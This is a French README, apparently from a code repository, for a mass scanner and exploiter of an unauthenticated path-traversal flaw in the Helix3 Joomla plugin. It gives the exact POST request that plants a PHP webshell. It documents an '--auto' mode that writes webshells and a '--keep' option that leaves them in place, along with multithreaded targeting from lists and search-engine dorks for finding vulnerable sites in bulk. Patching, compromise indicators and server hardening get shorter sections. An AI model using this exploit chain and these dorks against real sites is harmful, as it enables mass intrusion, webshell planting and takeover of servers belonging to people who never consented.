
CVE-2026-49049 Helix3 (JoomShaper) Joomla Unauthenticated AJAX RCE Scanner
Scanner / vérificateur de masse pour CVE-2026-49049 : gestionnaire AJAX non authentifié dans le plugin Helix3 Framework pour Joomla (v1.0 – 3.1.0, corrigé dans 3.1.1+).
Tests autorisés uniquement. Utilisez uniquement sur des systèmes que vous possédez ou pour lesquels vous avez une autorisation écrite.
Le gestionnaire onAjaxHelix3() dans plugins/ajax/helix3/helix3.php est accessible via com_ajax de Joomla sans authentification / jeton CSRF :
POST /index.php?option=com_ajax&plugin=helix3&format=json
Content-Type: application/x-www-form-urlencoded
data[action]=save&data[layoutName]=../../up.php&data[content]=<?php system($_GET['cmd']); ?>
Une exploitation de masse active dans la nature dépose souvent un webshell à double extension :
< 3.1.1save avec layoutName=../../up.php + contenu PHP webshell.json → up.php.json atterrit dans la racine webAddHandler d'Apache exécute le jeton .php (multi-extension)GET /up.php.json?cmd=id → uid=33(www-data) = SHELL OKDétecter Helix3
→ POST com_ajax?plugin=helix3 (action=save, traversée)
→ up.php.json écrit
→ GET up.php.json?cmd=id
→ uid=33(www-data)
git clone https://github.com/ExDev994/CVE-2026-49049.git
cd CVE-2026-49049
pip install -r requirements.txt
Prérequis : requests>=2.31.0, colorama>=0.4.6, Python 3.9+.
Éditez targets.txt — une URL / hôte par ligne (# = commentaire). Le chemin Joomla est conservé :
# exemple
https://example.com/
https://example.com/joomla/
http://192.168.1.50/
Ne dépose pas de webshell. Vérifie la version + sonde save / remove / import :
python3 scan.py -f targets.txt --scan -o results.txt
python3 scan.py -f targets.txt --auto -c "id" -o results.txt
python3 scan.py -t https://target.tld/joomla/ --auto -c "id"
# Conserver le webshell après vérification (démo autorisée)
python3 scan.py -f targets.txt --auto --keep
# Nom de webshell personnalisé + profondeurs de traversée
python3 scan.py -f targets.txt --auto \
--webshell-name up.php \
--traversal-depths "../../,../../../"
# Rapport JSON + concurrence
python3 scan.py -f targets.txt --auto -c "whoami" \
--threads 20 --timeout 15 \
-o results.txt --json report.json
# Proxy (Burp / etc.)
python3 scan.py -t https://target.tld/ --scan --proxy http://127.0.0.1:8080
Avertissement : Le mode
--autotente d'écrire un webshell via traversée de chemin. Par défaut, le webshell est supprimé après vérification. Utilisez--keepuniquement pour des démos autorisées.
Terminal affiche tous les statuts (progression). results.txt ne contient que les vulnérables :
[v] CVE-2026-49049 SHELL OK https://target.tld Helix3 2.5.6 save=Y remove=Y import=N
[id] -> uid=33(www-data) gid=33(www-data) groups=33(www-data)
shell: https://target.tld/up.php.json?cmd=id
[ ] VULN (pas de shell) https://target.tld Helix3 3.0.2 save=Y remove=Y import=Y
Les autres labels (PATCHED, NOT_HELIX3, TIMEOUT, UNKNOWN) n'apparaissent que dans le terminal, pas dans results.txt.
Utilisez les dorks ci-dessous pour trouver des actifs Helix3 / Joomla potentiellement impactés. Scannez uniquement les cibles autorisées.
inurl:templates/shaper_helix3/templateDetails.xml
inurl:"templates/shaper_helix3"
"shaper_helix3" "Joomla"
inurl:index.php?option=com_ajax "helix3"
"powered by Helix" Joomla
intitle:"Home" "shaper_helix3"
inurl:/templates/helix3/
http.html:"shaper_helix3"
http.html:"Helix3" http.html:"Joomla"
http.title:"Joomla" "shaper_helix3"
http.html:"/templates/shaper_helix3/"
http.html:"joomshaper" product:"Joomla"
html:"plg_system_helix3"
body="shaper_helix3"
body="/templates/shaper_helix3/" && body="Joomla"
body="Helix3" && body="joomshaper"
body="plg_ajax_helix3" || body="onAjaxHelix3"
title="Joomla" && body="shaper_helix3"
body="templateDetails.xml" && body="helix3"
# Vérification de version
curl -sk 'https://TARGET/templates/shaper_helix3/templateDetails.xml' | grep -i version
# Sonde save non authentifiée (autorisée uniquement)
curl -sk -X POST \
'https://TARGET/index.php?option=com_ajax&plugin=helix3&format=json' \
-d 'data[action]=save&data[layoutName]=_test_probe&data[content]={"probe":"test"}'
Mettez à jour les plugins System – Helix3 Framework et Helix3 – Ajax vers 3.1.1 ou plus récent (recommandé 3.1.2).
La mise à jour ne nettoie pas les charges utiles déjà présentes dans la base de données.
#__template_styles colonne params pour custom_js / custom_css injectéstmp / media :
up.php.json, cox.json, *.php.json, autres webshellsSignes courants de compromission : défacement "Hacked by AntonKill" / "trenggalek6etar", injection custom_js, fichiers JSON inconnus.
Apache — n'utilisez pas AddHandler multi-extension ; utilisez plutôt :
<FilesMatch "\.php$">
SetHandler application/x-httpd-php
</FilesMatch>
Nginx :
location ~ \.php$ {
try_files $uri =404;
fastcgi_pass unix:/run/php/php-fpm.sock;
}
PHP php.ini :
disable_functions = system,exec,shell_exec,passthru,proc_open,popen,pcntl_exec
Upload / écriture de fichier : régénérez les noms de fichiers, refusez les extensions multi-points, AllowOverride None dans les répertoires publics.
python3 scan.py -t https://YOUR-SITE/ --scan
# Attendu : PATCHED Helix3 3.1.1+ (ou NOT_HELIX3 si le plugin est désinstallé)
CVE-2026-49049/
├── scan.py # Point d'entrée CLI
├── core/
│ ├── engine.py # ThreadPoolExecutor + résultats (vulnérables uniquement dans le fichier)
│ ├── probe.py # Détection Helix3 + save/remove/import + dépôt RCE
│ └── target.py # Analyse / normalisation de targets.txt
├── utils/
│ └── banner.py
├── targets.txt # Cibles d'entrée
├── results.txt # Généré (VULN / SHELL_OK uniquement)
├── requirements.txt
└── README.md
Les contributions de la communauté sont acceptées. Mainteneur : ExDev994.
from __future__ import annotations, indications de type)python3 -m py_compile scan.py core/*.py utils/*.py et python3 scan.py --helpSignalez les bogues / demandes de fonctionnalités dans Issues. Incluez :
| Contributeur | Rôle |
|---|---|
| ExDev994 | Auteur / Mainteneur |
Vulnérabilité signalée à l'origine par Phil Taylor (mySites.guru). Ce dépôt est une implémentation indépendante de scanner et n'est pas affilié à JoomShaper ou Open Source Matters.
Cet outil est destiné uniquement à des fins éducatives et de tests de sécurité autorisés.
L'accès non autorisé à des systèmes informatiques est illégal et peut enfreindre des lois, notamment la UU ITE en Indonésie, le CFAA aux États-Unis, et des législations équivalentes dans d'autres juridictions.
L'auteur (ExDev994) décline toute responsabilité en cas d'utilisation abusive. En utilisant ce logiciel, vous acceptez l'entière responsabilité de vos actions. Le mode --auto dépose un webshell temporaire — utilisez-le uniquement sur des cibles autorisées.
| Action | Impact | Versions |
|---|
save | Écriture arbitraire de fichier JSON + traversée de chemin | 1.0 – 3.1.0 |
remove | Suppression arbitraire de fichier (aucune restriction d'extension/chemin) | 1.0 – 3.1.0 |
import | Écraser les paramètres du modèle en base de données (custom_js non échappé → XSS/défacement) | v3.x uniquement |
| Version Helix3 | save / remove | import | Statut |
|---|
| 1.0 – 2.x | Vulnérable | Non présent | Vulnérable |
| 3.0 – 3.1.0 | Vulnérable | Vulnérable | Vulnérable |
| 3.1.1+ | Corrigé | Corrigé | Sûr |
| Drapeau | Description |
|---|
-f / --file | Fichier de liste de cibles (par défaut : targets.txt si -t absent) |
-t / --target | URL cible unique |
--scan | Détection en lecture seule |
--auto | Détection + vérification RCE (par défaut) |
-c / --cmd | Commande de vérification (par défaut : id) |
-o / --output | Fichier de résultats — uniquement les cibles VULN / SHELL_OK |
--json | Rapport JSON structuré |
--keep | Ne pas supprimer automatiquement le webshell après vérification |
--threads | Workers concurrents (par défaut : 15) |
--timeout | Délai d'attente HTTP en secondes (par défaut : 15) |